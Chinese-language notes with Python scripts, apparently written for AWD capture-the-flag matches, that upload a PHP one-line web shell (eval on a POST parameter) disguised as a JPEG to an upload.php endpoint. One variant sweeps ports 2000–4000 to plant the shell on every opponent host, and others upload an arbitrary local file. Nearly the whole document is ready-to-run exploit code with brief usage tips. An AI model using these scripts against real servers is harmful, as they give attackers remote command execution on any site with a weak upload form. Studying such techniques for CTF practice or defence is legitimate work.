一般的:
注意,这里的所有脚本都是基于数据包的,所以使用前先抓包改代码里面的参数
如果想把构筑文件内容的地方改为读取本地文件
可以将file_content那行改为
with open(r'local_file.txt', 'rb') as f:
file_content = f.read()
import requests
url = 'http://node4.anna.nssctf.cn:28144/upload.php'
headers = {
'Host': 'node4.anna.nssctf.cn:28144',
'Content - Type':'multipart/form - data; boundary = ---------------------------157018622732421602881779552500',
'Origin': 'http://node4.anna.nssctf.cn:28144',
'Connection': 'close',
}
# 构建文件内容
file_content = '<?php eval(@$_POST[\'cmd\']);?>'
files = {
'uploaded': ('2.jpg', file_content, 'image/jpeg')#mime可改,文件内容可改,记得改这行的文件名或后缀
}
response = requests.post(url, headers = headers, files = files )
print(response.text)
遍历比赛中所有存活主机的(遍历方式自己改,根据awd具体情况改):
从以下网址中遍历的话直接
a=[...,...,...,...,...,...,]
for port in a:即可
import requests
for port in range(2000, 4001):
url = f'http://node4.anna.nssctf.cn:{port}/upload.php'
headers = {
'Host': f'node4.anna.nssctf.cn:{port}',
'User - Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Content - Type':'multipart/form - data; boundary = ---------------------------157018622732421602881779552500',
'Connection': 'close'
}
# 构建文件内容
file_content = '<?php eval(@$_POST[\'cmd\']);?>'
files = {
'uploaded': ('2.jpg', file_content, 'image/jpeg')
}
try:
response = requests.post(url, headers = headers, files = files)
print(f'Port {port}: {response.text}')
except requests.RequestException as e:
print(f'Port {port} request error: {e}')
最后还是写一个读取本地文件 的
import requests
for port in range(2000, 4001):
url = f'http://node4.anna.nssctf.cn:{port}/upload.php'
headers = {
'Host': f'node4.anna.nssctf.cn:{port}',
'Content - Type':'multipart/form - data; boundary = ---------------------------157018622732421602881779552500',
'Origin': f'http://node4.anna.nssctf.cn:{port}',
'Connection': 'close'
}
# 读取本地文件
try:
with open(r'local_file.txt', 'rb') as f:
file_content = f.read()
files = {
'uploaded': ('2.jpg', file_content, 'image/jpeg')
}
try:
response = requests.post(url, headers = headers, files = files)
print(f'Port {port}: {response.text}')
except requests.RequestException as e:
print(f'Port {port} request error: {e}')
except FileNotFoundError:
print('本地文件未找到')
import requests
url = 'http://node4.anna.nssctf.cn:28144/upload.php'
headers = {
'Host': 'node4.anna.nssctf.cn:28144',
'Content - Type':'multipart/form - data; boundary = ---------------------------157018622732421602881779552500',
'Origin': 'http://node4.anna.nssctf.cn:28144',
'Connection': 'close'
}
try:
with open(r'local_file.txt', 'rb') as f:
file_content = f.read()
files = {
'uploaded': ('2.jpg', file_content, 'image/jpeg')
}
response = requests.post(url, headers = headers, files = files)
print(response.text)
except FileNotFoundError:
print('本地文件未找到')